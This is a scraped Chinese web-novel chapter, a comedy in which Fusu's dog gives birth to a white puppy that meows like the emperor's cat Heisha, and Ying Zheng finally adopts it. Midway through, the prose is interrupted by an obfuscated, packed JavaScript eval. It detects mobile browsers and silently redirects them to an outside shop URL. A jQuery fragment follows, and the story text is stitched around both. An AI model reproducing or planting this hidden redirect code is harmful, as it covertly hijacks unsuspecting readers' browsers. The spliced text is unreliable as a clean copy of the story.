默认冷灰
24号文字
方正启体

6. 扶苏的狗当爹了

作者:盐星星本书字数:K更新时间:
    上郡的风,带着塞外的沙砾,刮在脸上生疼。


    扶苏站在简陋的庭院里,看着眼前这窝刚出生的小奶狗,眉头皱得能夹死苍蝇。


    一共六只。毛茸茸,肉乎乎,挤在母狗“踏雪”的怀里,哼哼唧唧地找奶吃,看着甚是可爱。


    但问题是——


    “公子,”侍卫长王离蹲在一旁,小心翼翼地指了指其中一只,“您看这只……是不是有点……不对劲?”


    扶苏顺着他的手指看去。


    那是六只小狗里个头最大、抢奶最凶的一只。它的兄弟姐妹们,要么是纯黑色,要么是黑底白爪,继承了父亲“踏雪”那标志性的北地神犬特征。


    唯独这一只。


    通体雪白,毛发卷曲,耳朵软趴趴地耷拉着,鼻头粉嫩,眼睛又大又圆,此刻正叼着□□,吃得正欢,甚至还惬意地摇了摇那条……毛茸茸的、像鸡毛掸子一样的尾巴。


    扶苏深吸一口气,抬头看向趴在狗窝旁,一脸“慈爱”地看着孩子们的踏雪。


    踏雪似乎察觉到了主人的目光,抬起头,骄傲地“汪”了一声,仿佛在说:看,我厉害吧!生了这么多!


    扶苏又转头看向王离,语气艰涩:“踏雪……最近有没有接触过别的狗?”


    王离立刻摇头,斩钉截铁:“绝对没有!公子您吩咐过,踏雪是御赐神犬,必须严加看管。这三个月,它除了在院子里晒太阳,就是去军营看咱们操练,连只母苍蝇都没见过!”


    “那这只……”扶苏指着那只小白狗,手指都在抖,“是哪里来的?”


    王离挠了挠头,也是一脸茫然:“臣……臣也不知道啊。踏雪怀孕的时候,臣还特意加强了守卫,就怕有不长眼的野狗……咳咳。但这小白狗,看着也不像咱们这儿的土狗啊。”


    扶苏蹲下身,伸出手,轻轻碰了碰那只小白狗的脑袋。


    小白狗被惊动了,松开□□,睁开湿漉漉的大眼睛,看了扶苏一眼,然后张开嘴,发出了它狗生中的第一声——


    “嗷呜~呜~”


    声音软糯,娇滴滴,带着一股子撒娇的意味,和旁边踏雪那浑厚低沉的“汪”声,以及兄弟姐妹们粗嘎的“呜呜”声,形成了鲜明的对比。


    扶苏眼前一黑。


    这叫声……怎么听着这么耳熟?


    他猛地站起身,看向咸阳宫的方向,心中涌起一股不祥的预感。


    “王离。”


    “臣在。”


    “收拾东西。”扶苏沉声道,“准备回咸阳。”


    “啊?公子,咱们不是才来上郡半年吗?陛下那边……”


    “就是因为陛下那边。”扶苏看着那只还在“嗷呜嗷呜”叫唤的小白狗,牙关紧咬,“再不回去,我怕咱们都得去骊山修陵。”


    第二章:咸阳宫的“亲子鉴定”


    咸阳宫,章台殿。


    嬴政正在批阅奏章,黑煞趴在他脚边,舔着爪子,神情慵懒。


    “陛下,扶苏公子求见。”内侍来报。


    “哦?扶苏回来了?”嬴政放下笔,有些意外,“宣。”


    扶苏走进大殿,神色有些憔悴,怀里还抱着一个用锦缎包裹的……篮子。


    “儿臣参见父皇。”扶苏行礼,声音带着一丝不易察觉的颤抖。


    “起来吧。”嬴政看着他,“上郡苦寒,你怎么突然回来了?可是军中有变?”


    “回父皇,军中一切安好。”扶苏深吸一口气,将手中的篮子轻轻放在地上,“儿臣……是回来报喜的。”


    “报喜?”嬴政挑眉,“何喜之有?”


    “踏雪……当爹了。”扶苏硬着头皮说道。


    “哦?”嬴政来了兴趣,站起身,走下御座,“踏雪生了?生了几个?像不像它?”


    “生了六个。”扶苏一边说,一边掀开篮子上的锦缎,“前五个……都像它。”


    篮子里,五只黑白相间的小奶狗挤作一团,哼哼唧唧,看着虎头虎脑,颇有乃父之风。


    嬴政满意地点点头:“嗯,不错,是踏雪的神韵。看来蒙恬没骗朕,这北地神犬,血统纯正。”


    “至于这第六个……”扶苏的声音越来越小。


    嬴政的目光落在篮子角落。那里,一只小白狗正四脚朝天地呼呼大睡,雪白的卷毛随着呼吸一颤一颤,粉嫩的小肚子圆鼓鼓的。


    空气突然安静了。


    黑煞原本在打盹,闻到陌生的气味,警惕地抬起头,走到篮子边,嗅了嗅那五只黑白小狗,没什么反应。当它凑到小白狗面前时,动作突然停住了。


    它围着小白狗转了两圈,鼻子耸动,然后伸出爪子,轻轻扒拉了一下小白狗的脑袋。


    小白狗被弄醒了,不耐烦地睁开眼,看到黑煞,似乎愣了一下,然后——


    “喵~?”


    一声极轻微、极短促,带着试探和疑惑的……猫叫。


    “……”


    扶苏绝望地闭上了眼睛。


    嬴政脸上的笑容僵住了。他缓缓抬起头,看着扶苏,眼神锐利如刀:“扶苏,你告诉朕,这是……怎么回事?”


    “父、父皇,”扶苏冷汗涔涔,“儿臣……儿臣也不知道。踏雪怀孕期间,一直严加看管,绝无……”


    “绝无什么?”嬴政弯腰,拎起那只小白狗的后颈皮,将它提到眼前,仔细端详。


    小白狗似乎觉得这个姿势不舒服,扭动着身体,嘴里发出不满的“呜呜”声,四条小短腿在空中乱蹬。


    “这毛色,”嬴政用手指捻了捻那卷曲的白毛,“这眼睛,这叫声……”


    他转头看向脚边的黑煞。


    黑煞似乎也意识到了什么,它走到小白狗面前,仰起头,对着小白狗,发出了一声威严的——


    “喵!”


    仿佛在说:小子,我是你爹!


    小白狗被吓了一跳,缩了缩脖子,然后不甘示弱地回敬了一声——


    “汪!”


    声音虽然稚嫩,但气势十足。


    黑煞愣了一下,似乎被这声“汪”镇住了,随即恼羞成怒,抬起爪子就要拍下去。


    “够了!”嬴政低喝一声。


    黑煞悻悻地收回爪子,趴回嬴政脚边,但眼睛依旧死死盯着小白狗,喉咙里发出“呼噜呼噜”的威胁声。


    小白狗似乎也知道自己闯了祸,缩在嬴政手心,瑟瑟发抖,一双大眼睛泪汪汪地看着嬴政,嘴里发出可怜兮兮的“呜呜”声。


    嬴政看着手心这只既不像狗、又不像猫的小东西,又看了看一脸“我冤枉”的扶苏,和一脸“我是正宫”的黑煞,只觉得太阳穴突突直跳。


    “扶苏。”


    “儿臣在。”


    “这狗……”嬴政顿了顿,似乎在斟酌用词,“是你养的?”


    “是……”


    “这猫,是朕养的。”


    “是……”


    “那你告诉朕,”嬴政举起小白狗,语气平静得可怕,“它是怎么跨越千里,从上郡跑到咸阳,钻进踏雪的肚子里的?”


    扶苏:“……”父皇,这个问题,臣也想知道啊!


    扶苏抱着篮子,失魂落魄地走出章台殿。


    他不用回头,都能感觉到身后父皇那意味深长的目光,和黑煞那充满敌意的眼神。


    “完了。”扶苏喃喃自语,“本公子的清白,毁了。”


    消息像长了翅膀一样,迅速传遍了整个咸阳宫。


    “听说了吗?扶苏公子的狗,生了只猫!”


    “什么猫?那是狗!会猫叫的狗!”


    “不对不对,是猫!长得跟黑煞大人一模一样!”


    “天哪,难道踏雪将军和黑煞大人……”


    “嘘!小声点!不要命了!”


    李斯在走廊上遇到扶苏,看着他怀里篮子中那只显眼的小白狗,嘴角抽搐了一下,拍了拍扶苏的肩膀:“公子,节哀。”


    蒙毅看到扶苏,叹了口气,递上一根骨头:“公子,给踏雪补补身子,它……辛苦了。”


    就连平日里和扶苏不对付的胡亥,也特意跑过来,围着篮子转了两圈,啧啧称奇:“大哥,你这狗……挺别致啊。父皇没让你去骊山?”


    扶苏:“……”我现在就去还来得及吗?


    回到寝宫,扶苏将篮子放在桌上,看着里面睡得正香的小白狗,欲哭无泪。


    踏雪凑过来,用鼻子拱了拱小白狗,眼神温柔,似乎并不在意这孩子长得像谁。


    “你倒是心大。”扶苏戳了戳踏雪的脑袋,“你知道你给我们老赢家惹了多大的麻烦吗?”


    踏雪“汪”了一声,摇了摇尾巴,似乎在说:多大点事,不就是长得像隔壁老王吗?


    这时,小白狗醒了,它爬出篮子,摇摇晃晃地走到桌边,对着扶苏放在那里的一盘点心,伸出了爪子。


    “那是桂花糕,你不能吃。”扶苏赶紧拦住它。


    小白狗歪着头看了扶苏一眼,然后纵身一跃——


    它没跳上桌子,反而一头撞在桌腿上,摔了个四脚朝天。


    “……”扶苏无语,伸手把它扶起来。


    小白狗似乎觉得丢脸,气呼呼地对着桌腿“汪汪”叫了两声,然后转过身,屁股一撅,开始……刨地。


    那是猫科动物埋屎的标准动作。


    扶苏看着它把地毯刨得一团糟,终于忍无可忍,一把拎起它:“走!跟我去见你亲爹!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387647|200270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    章台殿。


    嬴政看着跪在地上的扶苏,和在他脚边对着地毯疯狂输出的“猫狗混合体”,眉头紧锁。


    “父皇,”扶苏硬着头皮道,“儿臣思来想去,此事……必有蹊跷。”


    “哦?”嬴政挑眉,“什么蹊跷?”


    “踏雪在上郡,守卫森严,绝无可能接触外狗。而黑煞在咸阳,深居宫中,更不可能去上郡。”扶苏抬起头,眼神坚定,“所以,这只小狗,绝不可能是踏雪和黑煞所生。”


    “那它是哪来的?”嬴政问。


    “儿臣以为……”扶苏深吸一口气,说出了自己大胆的猜测,“它可能是……返祖。”


    “返祖?”


    “是。”扶苏点头,“踏雪乃北地神犬,血统古老。或许,它的祖先中,曾有与猫……咳咳,与某种白毛卷耳生物通婚的先例。如今隔代遗传,便生出了这只……与众不同的后代。”


    嬴政看着扶苏,眼神古怪:“你的意思是,踏雪的祖宗,是只猫?”


    扶苏:“……”父皇,您非要说得这么直白吗?


    “荒谬。”嬴政冷哼一声,“就算返祖,也该返成狼,返成狐狸,怎么会返成猫?”


    “这……”扶苏语塞。


    就在这时,那只小白狗似乎刨累了,打了个哈欠,摇摇晃晃地走到黑煞面前,用脑袋蹭了蹭黑煞的腿。


    黑煞原本一脸嫌弃,被它蹭了几下,态度似乎软化了一些,伸出舌头,舔了舔小白狗的脑袋。


    小白狗舒服地眯起眼,喉咙里发出“呼噜呼噜”的声音,然后顺势一倒,躺在黑煞怀里,睡着了。


    黑煞愣了一下,看着怀里这个柔软的小东西,犹豫了片刻,最终没有把它踢开,而是调整了一下姿势,让它睡得更舒服些。


    嬴政和扶苏看着这一幕,都沉默了。


    “父皇,”扶苏小声说道,“您看,黑煞它……好像认了。”


    嬴政看着那一大一小依偎在一起的身影,眼中闪过一丝复杂的神色。


    他想起自己小时候,在赵国为质,也曾养过一只捡来的流浪狗。后来狗死了,他哭了好久。


    或许,血缘并不重要,重要的是……陪伴。


    “罢了。”嬴政挥挥手,语气缓和了些,“既然生了,就养着吧。”


    扶苏心中一喜:“谢父皇!”


    “不过,”嬴政话锋一转,看着扶苏,“这只狗……猫,既然长得像黑煞,那便留在宫里,由黑煞亲自教导。免得跟你回了上郡,学得一身……狗脾气。”


    扶苏:“……”父皇,您这是要抢我孙子啊!


    “至于你,”嬴政瞥了扶苏一眼,“教狗无方,罚俸半年,回去好好反省。”


    “诺……”扶苏苦着脸应道。罚俸就罚俸吧,总比去骊山强。


    从那以后,咸阳宫多了一位特殊的成员。


    它没有正式的名字,宫人们私下里叫它“小白”,或者“猫狗大人”。


    它时而像狗一样,摇着尾巴跟在黑煞身后巡视领地;时而像猫一样,跳上御案,打翻嬴政的砚台,然后在嬴政发火前,用那双无辜的大眼睛看着他,发出软糯的“喵呜”声,让嬴政的火气瞬间烟消云散。


    它最喜欢做的事,就是趴在嬴政批阅奏章的桌案上,把那些枯燥的竹简当玩具,推来推去。嬴政也不恼,反而觉得有趣,甚至会在它玩累睡着时,给它盖上自己的披风。


    扶苏每次回宫,看到这一幕,心情都很复杂。


    “父皇,”他忍不住说道,“您是不是太宠它了?”


    嬴政头也不抬,轻轻抚摸着趴在他腿上睡觉的小白:“怎么?嫉妒了?”


    “儿臣不敢。”扶苏顿了顿,小声道,“只是……它毕竟长得不像踏雪。”


    “像不像,重要吗?”嬴政抬起头,看着扶苏,目光深邃,“它既然来到了这世上,便是天意。朕是大秦的皇帝,天下万物,皆是朕的子民。只要它忠心,长得像猫还是像狗,又有什么关系?”


    扶苏愣住了,看着父皇眼中那包容万物的气度,心中涌起一股敬佩。


    “父皇圣明。”


    嬴政笑了笑,低头看着怀里的小家伙:“再说了,它虽然长得像猫,但叫起来……”


    似乎是听到了自己的名字,小白迷迷糊糊地抬起头,张开嘴——


    “汪!”


    声音清脆响亮,带着一股子初生牛犊不怕虎的劲儿。


    嬴政满意地点点头:“听,还是狗叫。”


    扶苏看着这一幕,也笑了。


    是啊,不管外表如何,只要心是热的,叫声是响亮的,那就是一条好狗。


    哪怕……它爹可能真的有点绿。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)